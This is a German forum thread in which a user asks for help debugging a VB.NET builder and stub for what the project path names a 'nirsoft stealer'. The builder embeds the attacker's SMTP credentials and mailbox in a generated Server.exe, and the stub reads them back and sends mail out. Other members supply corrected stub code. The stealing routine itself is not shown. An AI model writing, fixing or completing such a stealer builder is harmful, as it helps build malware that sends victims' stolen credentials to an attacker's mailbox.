(Builder) Strings werden nicht übergeben

[sunny-boy3]

Hallo habe da eine frage hae ein Problem mit meinen Server Builder wen ich den server erstelle bekomme ich zwar ne server.exe aber wen ich diese öffne dan bekomme ich immer ein fehler weil die daten nicht richtig übergeben wurden ich poste mal meine code vllt findet ja jemand den fehler und kann mir weiter helfen

Ich denke das die daten wie email adresse und smtp und soetwas nicht richtig übergeben werden


Ich habe meine Code mal in Highlight Gecodet damit es übersichtlicher ist





Das sind die code von den builder

1. Dim VB6setting As New Compatibility.VB6.FixedLengthString(100)
2. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
3. Dim Addi As String = Mail_Addi.Text
4. Dim Password As String = Mail_Pass.Text
5. Dim Smtp As String = Mail_Smtp.Text
6. Dim Username As String = Mail_User.Text
7. With SaveFileDialog
8. .Filter = "Ausführbare Dateien(*.exe)|*.exe*"
9. .FileName = "Server.exe"
10. .CheckPathExists = True
11. End With
12. If (SaveFileDialog.ShowDialog = Windows.Forms.DialogResult.Cancel) Then
13. Exit Sub
14. End If
15. File.Copy(My.Application.Info.DirectoryPath + "\Stub.exe", SaveFileDialog.FileName)
16. Dim Trennzeichen As Char = "_"
17. Dim Einstellungen As New VB6.FixedLengthString(100)
18. Einstellungen.Value = Addi + Trennzeichen + Password + Trennzeichen + Smtp + Trennzeichen + Username
19. FileOpen(1, (SaveFileDialog.FileName), OpenMode.Binary)
20. FilePut(1, Einstellungen.Value, LOF(1) + 1)
21. FileClose(1)
22. MessageBox.Show("Server wurde erstellt", "Server Builder", MessageBoxButtons.OK, MessageBoxIcon.Information)

und das von der stub

1. Public Class Form1
2. Inherits System.Windows.Forms.Form
3. Dim BuilderDaten() As String
4. Dim VB6setting As New Compatibility.VB6.FixedLengthString(100)
5. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
6. File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath + "\StubKopie.exe")
7. Dim Einstellungen As New VB6.FixedLengthString(100)
8. FileOpen(1, My.Application.Info.DirectoryPath + "\Stubkopie.exe", OpenMode.Binary)
9. FileGet(1, Einstellungen.Value, LOF(1) - 99)
10. FileClose(1)
11. Dim Trennzeichen As Char = "_"
12. Dim BuilderDaten As String() = Einstellungen.Value.Split(Trennzeichen)
13. Dim Addi As String = BuilderDaten(0)
14. Dim Password As String = BuilderDaten(1)
15. Dim Smtp As String = BuilderDaten(2)
16. Dim Username As String = BuilderDaten(3)
17. Dim oMail As New MailMessage()
18. SmtpMail.SmtpServer = BuilderDaten(2)
19. With oMail
20. .From = BuilderDaten(0)
21. .To = BuilderDaten(0)
22. .Subject = "Server Builder"
23. .Body = "Test"
24. With .Fields
25. .Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", 1)
26. .Add("http://schemas.microsoft.com/cdo/configuration/sendusername", BuilderDaten(3))
27. .Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", BuilderDaten(1))
28. .Add("http://schemas.microsoft.com/cdo/configuration/smtpserverport", 25)
29. End With
30. End With
31. SmtpMail.Send(oMail)

[Sawyer]

FileOpen(1, My.Application.Info.DirectoryPath + "\Stubkopie.exe", OpenMode.Binary)
        FileGet(1, Einstellungen.Value, LOF(1) - 99)
        FileClose(1)

        Dim BuilderDaten As String() = Einstellungen.Value.Split(TrennZeichen)

Dim Addi As String = BuilderDaten (0)
         Dim Password As String = BuilderDaten (1)
         Dim Smtp As String = BuilderDaten (2)
         Dim Username As String = BuilderDaten (3)

"Befehle" ist nämlich gar nicht definiert , so wie ich das sehe , außerdem hast du versucht die Einstellungen an variablen zu übergeben , obwohl du sie noch gar nicht ausgelesen hast.

MfG

[sunny-boy3]

Fehler 1 Auf die lokale Variable "BuilderDaten" kann nicht verwiesen werden, bevor sie deklariert ist. C:\Documents and Settings\Administrator\Desktop\stealer\stealer\For m1.vb 29 30 nirsoft stealer

[DarkFire]

Vergessen?

[sunny-boy3]

Vergessen?

Leider nicht

[DarkFire]

Public Class Form1
Inherits System.Windows.Forms.Form
Dim BuilderDaten() As String

Dim VB6setting As New Compatibility.VB6.FixedLengthString(100) 'Kann weg =)


Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load



File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath + "\StubKopie.exe")
Dim Einstellungen As New vb6.FixedLengthString(100)

FileOpen(1, My.Application.Info.DirectoryPath + "\Stubkopie.exe", OpenMode.Binary)
FileGet(1, Einstellungen.Value, LOF(1) - 99)
FileClose(1)

Dim Trennzeichen As Char = "_"
Dim BuilderDaten As String() = Einstellungen.Value.Split(Trennzeichen)

Ich würde die Daten erst teilen und dannach an die Strings verteilen

Dim Addi As String = BuilderDaten(0)
Dim Password As String = BuilderDaten(1)
Dim Smtp As String = BuilderDaten(2)
Dim Username As String = BuilderDaten(3)

File.Delete(My.Application.Info.DirectoryPath + "\StubKopie.exe")

[sunny-boy3]

Es ist ja alles ganz in ordnug nur aus irgedeinen Grung werden meine daten nicht richtig an den server.exe übereben